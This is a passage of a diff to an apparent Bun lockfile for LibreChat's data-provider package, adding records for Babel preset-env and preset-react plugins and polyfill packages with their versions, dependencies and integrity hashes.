+ "librechat-data-provider/@babel/preset-env/@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression": ["@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-g4L7OYun04N1WyqMNjldFwlfPCLVkgB54A/YCXICZYBsvJJE3kByKv9c9+R/nAfmIfjl2rKYLNyMHboYbZaWaA=="],
+
+ "librechat-data-provider/@babel/preset-env/@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining": ["@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1", "@babel/plugin-transform-optional-chaining": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.13.0" } }, "sha512-oO02gcONcD5O1iTLi/6frMJBIwWEHceWGSGqrpCmEL8nogiS6J9PBlE48CaK20/Jx1LuRml9aDftLgdjXT8+Cw=="],
+
+ "librechat-data-provider/@babel/preset-env/@babel/plugin-bugfix-v8-static-class-fields-redefine-readonly": ["@babel/plugin-bugfix-v8-static-class-fields-redefine-readonly@7.28.3", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/traverse": "^7.28.3" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-b6YTX108evsvE4YgWyQ921ZAFFQm3Bn+CA3+ZXlNVnPhx+UfsVURoPjfGAPCjBgrqo30yX/C2nZGX96DxvR9Iw=="],
+
+ "librechat-data-provider/@babel/preset-env/@babel/plugin-syntax-import-assertions": ["@babel/plugin-syntax-import-assertions@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-UT/Jrhw57xg4ILHLFnzFpPDlMbcdEicaAtjPQpbj9wa8T4r5KVWCimHcL/460g8Ht0DMxDyjsLgiWSkVjnwPFg=="],
+
+ "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-arrow-functions": ["@babel/plugin-transform-arrow-functions@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-8Z4TGic6xW70FKThA5HYEKKyBpOOsucTOD1DjU3fZxDg+K3zBJcXMFnt/4yQiZnf5+MiOMSXQ9PaEK/Ilh1DeA=="],
+
+ "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-async-generator-functions": ["@babel/plugin-transform-async-generator-functions@7.28.0", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-remap-async-to-generator": "^7.27.1", "@babel/traverse": "^7.28.0" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-BEOdvX4+M765icNPZeidyADIvQ1m1gmunXufXxvRESy/jNNyfovIqUyE7MVgGBjWktCoJlzvFA1To2O4ymIO3Q=="],
+
+ "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-async-to-generator": ["@babel/plugin-transform-async-to-generator@7.27.1", "", { "dependencies": { "@babel/helper-module-imports": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-remap-async-to-generator": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-NREkZsZVJS4xmTr8qzE5y8AfIPqsdQfRuUiLRTEzb7Qii8iFWCyDKaUV2c0rCuh4ljDZ98ALHP/PetiBV2nddA=="],
+
+ "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-block-scoped-functions": ["@babel/plugin-transform-block-scoped-functions@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-cnqkuOtZLapWYZUYM5rVIdv1nXYuFVIltZ6ZJ7nIj585QsjKM5dhL2Fu/lICXZ1OyIAFc7Qy+bvDAtTXqGrlhg=="],
+
+ "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-block-scoping": ["@babel/plugin-transform-block-scoping@7.28.5", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-45DmULpySVvmq9Pj3X9B+62Xe+DJGov27QravQJU1LLcapR6/10i+gYVAucGGJpHBp5mYxIMK4nDAT/QDLr47g=="],
+
+ "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-class-properties": ["@babel/plugin-transform-class-properties@7.27.1", "", { "dependencies": { "@babel/helper-create-class-features-plugin": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-D0VcalChDMtuRvJIu3U/fwWjf8ZMykz5iZsg77Nuj821vCKI3zCyRLwRdWbsuJ/uRwZhZ002QtCqIkwC/ZkvbA=="],
+
+ "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-class-static-block": ["@babel/plugin-transform-class-static-block@7.28.3", "", { "dependencies": { "@babel/helper-create-class-features-plugin": "^7.28.3", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.12.0" } }, "sha512-LtPXlBbRoc4Njl/oh1CeD/3jC+atytbnf/UqLoqTDcEYGUPj022+rvfkbDYieUrSj3CaV4yHDByPE+T2HwfsJg=="],
+
+ "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-classes": ["@babel/plugin-transform-classes@7.28.4", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "@babel/helper-compilation-targets": "^7.27.2", "@babel/helper-globals": "^7.28.0", "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-replace-supers": "^7.27.1", "@babel/traverse": "^7.28.4" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-cFOlhIYPBv/iBoc+KS3M6et2XPtbT2HiCRfBXWtfpc9OAyostldxIf9YAYB6ypURBBbx+Qv6nyrLzASfJe+hBA=="],
+
+ "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-computed-properties": ["@babel/plugin-transform-computed-properties@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/template": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-lj9PGWvMTVksbWiDT2tW68zGS/cyo4AkZ/QTp0sQT0mjPopCmrSkzxeXkznjqBxzDI6TclZhOJbBmbBLjuOZUw=="],
+
+ "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-destructuring": ["@babel/plugin-transform-destructuring@7.28.5", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/traverse": "^7.28.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-Kl9Bc6D0zTUcFUvkNuQh4eGXPKKNDOJQXVyyM4ZAQPMveniJdxi8XMJwLo+xSoW3MIq81bD33lcUe9kZpl0MCw=="],
+
+ "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-dotall-regex": ["@babel/plugin-transform-dotall-regex@7.27.1", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-gEbkDVGRvjj7+T1ivxrfgygpT7GUd4vmODtYpbs0gZATdkX8/iSnOtZSxiZnsgm1YjTgjI6VKBGSJJevkrclzw=="],
+
+ "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-duplicate-keys": ["@babel/plugin-transform-duplicate-keys@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-MTyJk98sHvSs+cvZ4nOauwTTG1JeonDjSGvGGUNHreGQns+Mpt6WX/dVzWBHgg+dYZhkC4X+zTDfkTU+Vy9y7Q=="],
+
+ "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-duplicate-named-capturing-groups-regex": ["@babel/plugin-transform-duplicate-named-capturing-groups-regex@7.27.1", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-hkGcueTEzuhB30B3eJCbCYeCaaEQOmQR0AdvzpD4LoN0GXMWzzGSuRrxR2xTnCrvNbVwK9N6/jQ92GSLfiZWoQ=="],
+
+ "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-dynamic-import": ["@babel/plugin-transform-dynamic-import@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-MHzkWQcEmjzzVW9j2q8LGjwGWpG2mjwaaB0BNQwst3FIjqsg8Ct/mIZlvSPJvfi9y2AC8mi/ktxbFVL9pZ1I4A=="],
+
+ "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-exponentiation-operator": ["@babel/plugin-transform-exponentiation-operator@7.28.5", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-D4WIMaFtwa2NizOp+dnoFjRez/ClKiC2BqqImwKd1X28nqBtZEyCYJ2ozQrrzlxAFrcrjxo39S6khe9RNDlGzw=="],
+
+ "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-export-namespace-from": ["@babel/plugin-transform-export-namespace-from@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-tQvHWSZ3/jH2xuq/vZDy0jNn+ZdXJeM8gHvX4lnJmsc3+50yPlWdZXIc5ay+umX+2/tJIqHqiEqcJvxlmIvRvQ=="],
+
+ "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-for-of": ["@babel/plugin-transform-for-of@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-BfbWFFEJFQzLCQ5N8VocnCtA8J1CLkNTe2Ms2wocj75dd6VpiqS5Z5quTYcUoo4Yq+DN0rtikODccuv7RU81sw=="],
+
+ "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-function-name": ["@babel/plugin-transform-function-name@7.27.1", "", { "dependencies": { "@babel/helper-compilation-targets": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1", "@babel/traverse": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-1bQeydJF9Nr1eBCMMbC+hdwmRlsv5XYOMu03YSWFwNs0HsAmtSxxF1fyuYPqemVldVyFmlCU7w8UE14LupUSZQ=="],
+
+ "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-json-strings": ["@babel/plugin-transform-json-strings@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-6WVLVJiTjqcQauBhn1LkICsR2H+zm62I3h9faTDKt1qP4jn2o72tSvqMwtGFKGTpojce0gJs+76eZ2uCHRZh0Q=="],
+
+ "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-literals": ["@babel/plugin-transform-literals@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-0HCFSepIpLTkLcsi86GG3mTUzxV5jpmbv97hTETW3yzrAij8aqlD36toB1D0daVFJM8NK6GvKO0gslVQmm+zZA=="],
+
+ "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-logical-assignment-operators": ["@babel/plugin-transform-logical-assignment-operators@7.28.5", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-axUuqnUTBuXyHGcJEVVh9pORaN6wC5bYfE7FGzPiaWa3syib9m7g+/IT/4VgCOe2Upef43PHzeAvcrVek6QuuA=="],
+
+ "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-member-expression-literals": ["@babel/plugin-transform-member-expression-literals@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-hqoBX4dcZ1I33jCSWcXrP+1Ku7kdqXf1oeah7ooKOIiAdKQ+uqftgCFNOSzA5AMS2XIHEYeGFg4cKRCdpxzVOQ=="],
+
+ "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-modules-amd": ["@babel/plugin-transform-modules-amd@7.27.1", "", { "dependencies": { "@babel/helper-module-transforms": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-iCsytMg/N9/oFq6n+gFTvUYDZQOMK5kEdeYxmxt91fcJGycfxVP9CnrxoliM0oumFERba2i8ZtwRUCMhvP1LnA=="],
+
+ "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-modules-commonjs": ["@babel/plugin-transform-modules-commonjs@7.27.1", "", { "dependencies": { "@babel/helper-module-transforms": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-OJguuwlTYlN0gBZFRPqwOGNWssZjfIUdS7HMYtN8c1KmwpwHFBwTeFZrg9XZa+DFTitWOW5iTAG7tyCUPsCCyw=="],
+
+ "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-modules-systemjs": ["@babel/plugin-transform-modules-systemjs@7.28.5", "", { "dependencies": { "@babel/helper-module-transforms": "^7.28.3", "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-validator-identifier": "^7.28.5", "@babel/traverse": "^7.28.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-vn5Jma98LCOeBy/KpeQhXcV2WZgaRUtjwQmjoBuLNlOmkg0fB5pdvYVeWRYI69wWKwK2cD1QbMiUQnoujWvrew=="],
+
+ "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-modules-umd": ["@babel/plugin-transform-modules-umd@7.27.1", "", { "dependencies": { "@babel/helper-module-transforms": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-iQBE/xC5BV1OxJbp6WG7jq9IWiD+xxlZhLrdwpPkTX3ydmXdvoCpyfJN7acaIBZaOqTfr76pgzqBJflNbeRK+w=="],
+
+ "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-named-capturing-groups-regex": ["@babel/plugin-transform-named-capturing-groups-regex@7.27.1", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-SstR5JYy8ddZvD6MhV0tM/j16Qds4mIpJTOd1Yu9J9pJjH93bxHECF7pgtc28XvkzTD6Pxcm/0Z73Hvk7kb3Ng=="],
+
+ "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-new-target": ["@babel/plugin-transform-new-target@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-f6PiYeqXQ05lYq3TIfIDu/MtliKUbNwkGApPUvyo6+tc7uaR4cPjPe7DFPr15Uyycg2lZU6btZ575CuQoYh7MQ=="],
+
+ "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-nullish-coalescing-operator": ["@babel/plugin-transform-nullish-coalescing-operator@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-aGZh6xMo6q9vq1JGcw58lZ1Z0+i0xB2x0XaauNIUXd6O1xXc3RwoWEBlsTQrY4KQ9Jf0s5rgD6SiNkaUdJegTA=="],
+
+ "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-numeric-separator": ["@babel/plugin-transform-numeric-separator@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-fdPKAcujuvEChxDBJ5c+0BTaS6revLV7CJL08e4m3de8qJfNIuCc2nc7XJYOjBoTMJeqSmwXJ0ypE14RCjLwaw=="],
+
+ "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-object-rest-spread": ["@babel/plugin-transform-object-rest-spread@7.28.4", "", { "dependencies": { "@babel/helper-compilation-targets": "^7.27.2", "@babel/helper-plugin-utils": "^7.27.1", "@babel/plugin-transform-destructuring": "^7.28.0", "@babel/plugin-transform-parameters": "^7.27.7", "@babel/traverse": "^7.28.4" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-373KA2HQzKhQCYiRVIRr+3MjpCObqzDlyrM6u4I201wL8Mp2wHf7uB8GhDwis03k2ti8Zr65Zyyqs1xOxUF/Ew=="],
+
+ "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-object-super": ["@babel/plugin-transform-object-super@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-replace-supers": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-SFy8S9plRPbIcxlJ8A6mT/CxFdJx/c04JEctz4jf8YZaVS2px34j7NXRrlGlHkN/M2gnpL37ZpGRGVFLd3l8Ng=="],
+
+ "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-optional-catch-binding": ["@babel/plugin-transform-optional-catch-binding@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-txEAEKzYrHEX4xSZN4kJ+OfKXFVSWKB2ZxM9dpcE3wT7smwkNmXo5ORRlVzMVdJbD+Q8ILTgSD7959uj+3Dm3Q=="],
+
+ "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-optional-chaining": ["@babel/plugin-transform-optional-chaining@7.28.5", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-N6fut9IZlPnjPwgiQkXNhb+cT8wQKFlJNqcZkWlcTqkcqx6/kU4ynGmLFoa4LViBSirn05YAwk+sQBbPfxtYzQ=="],
+
+ "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-parameters": ["@babel/plugin-transform-parameters@7.27.7", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-qBkYTYCb76RRxUM6CcZA5KRu8K4SM8ajzVeUgVdMVO9NN9uI/GaVmBg/WKJJGnNokV9SY8FxNOVWGXzqzUidBg=="],
+
+ "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-private-methods": ["@babel/plugin-transform-private-methods@7.27.1", "", { "dependencies": { "@babel/helper-create-class-features-plugin": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-10FVt+X55AjRAYI9BrdISN9/AQWHqldOeZDUoLyif1Kn05a56xVBXb8ZouL8pZ9jem8QpXaOt8TS7RHUIS+GPA=="],
+
+ "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-private-property-in-object": ["@babel/plugin-transform-private-property-in-object@7.27.1", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.1", "@babel/helper-create-class-features-plugin": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-5J+IhqTi1XPa0DXF83jYOaARrX+41gOewWbkPyjMNRDqgOCqdffGh8L3f/Ek5utaEBZExjSAzcyjmV9SSAWObQ=="],
+
+ "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-property-literals": ["@babel/plugin-transform-property-literals@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-oThy3BCuCha8kDZ8ZkgOg2exvPYUlprMukKQXI1r1pJ47NCvxfkEy8vK+r/hT9nF0Aa4H1WUPZZjHTFtAhGfmQ=="],
+
+ "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-regenerator": ["@babel/plugin-transform-regenerator@7.28.4", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-+ZEdQlBoRg9m2NnzvEeLgtvBMO4tkFBw5SQIUgLICgTrumLoU7lr+Oghi6km2PFj+dbUt2u1oby2w3BDO9YQnA=="],
+
+ "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-regexp-modifiers": ["@babel/plugin-transform-regexp-modifiers@7.27.1", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-TtEciroaiODtXvLZv4rmfMhkCv8jx3wgKpL68PuiPh2M4fvz5jhsA7697N1gMvkvr/JTF13DrFYyEbY9U7cVPA=="],
+
+ "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-reserved-words": ["@babel/plugin-transform-reserved-words@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-V2ABPHIJX4kC7HegLkYoDpfg9PVmuWy/i6vUM5eGK22bx4YVFD3M5F0QQnWQoDs6AGsUWTVOopBiMFQgHaSkVw=="],
+
+ "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-shorthand-properties": ["@babel/plugin-transform-shorthand-properties@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-N/wH1vcn4oYawbJ13Y/FxcQrWk63jhfNa7jef0ih7PHSIHX2LB7GWE1rkPrOnka9kwMxb6hMl19p7lidA+EHmQ=="],
+
+ "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-spread": ["@babel/plugin-transform-spread@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-kpb3HUqaILBJcRFVhFUs6Trdd4mkrzcGXss+6/mxUd273PfbWqSDHRzMT2234gIg2QYfAjvXLSquP1xECSg09Q=="],
+
+ "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-sticky-regex": ["@babel/plugin-transform-sticky-regex@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-lhInBO5bi/Kowe2/aLdBAawijx+q1pQzicSgnkB6dUPc1+RC8QmJHKf2OjvU+NZWitguJHEaEmbV6VWEouT58g=="],
+
+ "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-template-literals": ["@babel/plugin-transform-template-literals@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-fBJKiV7F2DxZUkg5EtHKXQdbsbURW3DZKQUWphDum0uRP6eHGGa/He9mc0mypL680pb+e/lDIthRohlv8NCHkg=="],
+
+ "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-typeof-symbol": ["@babel/plugin-transform-typeof-symbol@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-RiSILC+nRJM7FY5srIyc4/fGIwUhyDuuBSdWn4y6yT6gm652DpCHZjIipgn6B7MQ1ITOUnAKWixEUjQRIBIcLw=="],
+
+ "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-unicode-escapes": ["@babel/plugin-transform-unicode-escapes@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-Ysg4v6AmF26k9vpfFuTZg8HRfVWzsh1kVfowA23y9j/Gu6dOuahdUVhkLqpObp3JIv27MLSii6noRnuKN8H0Mg=="],
+
+ "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-unicode-property-regex": ["@babel/plugin-transform-unicode-property-regex@7.27.1", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-uW20S39PnaTImxp39O5qFlHLS9LJEmANjMG7SxIhap8rCHqu0Ik+tLEPX5DKmHn6CsWQ7j3lix2tFOa5YtL12Q=="],
+
+ "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-unicode-regex": ["@babel/plugin-transform-unicode-regex@7.27.1", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-xvINq24TRojDuyt6JGtHmkVkrfVV3FPT16uytxImLeBZqW3/H52yN+kM1MGuyPkIQxrzKwPHs5U/MP3qKyzkGw=="],
+
+ "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-unicode-sets-regex": ["@babel/plugin-transform-unicode-sets-regex@7.27.1", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-EtkOujbc4cgvb0mlpQefi4NTPBzhSIevblFevACNLUspmrALgmEBdL/XfnyyITfd8fKBZrZys92zOWcik7j9Tw=="],
+
+ "librechat-data-provider/@babel/preset-env/babel-plugin-polyfill-corejs2": ["babel-plugin-polyfill-corejs2@0.4.14", "", { "dependencies": { "@babel/compat-data": "^7.27.7", "@babel/helper-define-polyfill-provider": "^0.6.5", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" } }, "sha512-Co2Y9wX854ts6U8gAAPXfn0GmAyctHuK8n0Yhfjd6t30g7yvKjspvvOo9yG+z52PZRgFErt7Ka2pYnXCjLKEpg=="],
+
+ "librechat-data-provider/@babel/preset-env/babel-plugin-polyfill-corejs3": ["babel-plugin-polyfill-corejs3@0.13.0", "", { "dependencies": { "@babel/helper-define-polyfill-provider": "^0.6.5", "core-js-compat": "^3.43.0" }, "peerDependencies": { "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" } }, "sha512-U+GNwMdSFgzVmfhNm8GJUX88AadB3uo9KpJqS3FaqNIPKgySuvMb+bHPsOmmuWyIcuqZj/pzt1RUIUZns4y2+A=="],
+
+ "librechat-data-provider/@babel/preset-env/babel-plugin-polyfill-regenerator": ["babel-plugin-polyfill-regenerator@0.6.5", "", { "dependencies": { "@babel/helper-define-polyfill-provider": "^0.6.5" }, "peerDependencies": { "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" } }, "sha512-ISqQ2frbiNU9vIJkzg7dlPpznPZ4jOiUQ1uSmB0fEHeowtN3COYRsXr/xexn64NpU13P06jc/L5TgiJXOgrbEg=="],
+
+ "librechat-data-provider/@babel/preset-env/core-js-compat": ["core-js-compat@3.47.0", "", { "dependencies": { "browserslist": "^4.28.0" } }, "sha512-IGfuznZ/n7Kp9+nypamBhvwdwLsW6KC8IOaURw2doAK5e98AG3acVLdh0woOnEqCfUtS+Vu882JE4k/DAm3ItQ=="],
+
+ "librechat-data-provider/@babel/preset-react/@babel/plugin-transform-react-display-name": ["@babel/plugin-transform-react-display-name@7.28.0", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-D6Eujc2zMxKjfa4Zxl4GHMsmhKKZ9VpcqIchJLvwTxad9zWIYulwYItBovpDOoNLISpcZSXoDJ5gaGbQUDqViA=="],
+
+ "librechat-data-provider/@babel/preset-react/@babel/plugin-transform-react-jsx": ["@babel/plugin-transform-react-jsx@7.27.1", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.1", "@babel/helper-module-imports": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1", "@babel/plugin-syntax-jsx": "^7.27.1", "@babel/types": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-2KH4LWGSrJIkVf5tSiBFYuXDAoWRq2MMwgivCf+93dd0GQi8RXLjKA/0EvRnVV5G0hrHczsquXuD01L8s6dmBw=="],
+
+ "librechat-data-provider/@babel/preset-react/@babel/plugin-transform-react-jsx-development": ["@babel/plugin-transform-react-jsx-development@7.27.1", "", { "dependencies": { "@babel/plugin-transform-react-jsx": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-ykDdF5yI4f1WrAolLqeF3hmYU12j9ntLQl/AOG1HAS21jxyg1Q0/J/tpREuYLfatGdGmXp/3yS0ZA76kOlVq9Q=="],
+
+ "librechat-data-provider/@babel/preset-react/@babel/plugin-transform-react-pure-annotations": ["@babel/plugin-transform-react-pure-annotations@7.27.1", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-JfuinvDOsD9FVMTHpzA/pBLisxpv1aSf+OIV8lgH3MuWrks19R27e6a6DipIg4aX1Zm9Wpb04p8wljfKrVSnPA=="],
+
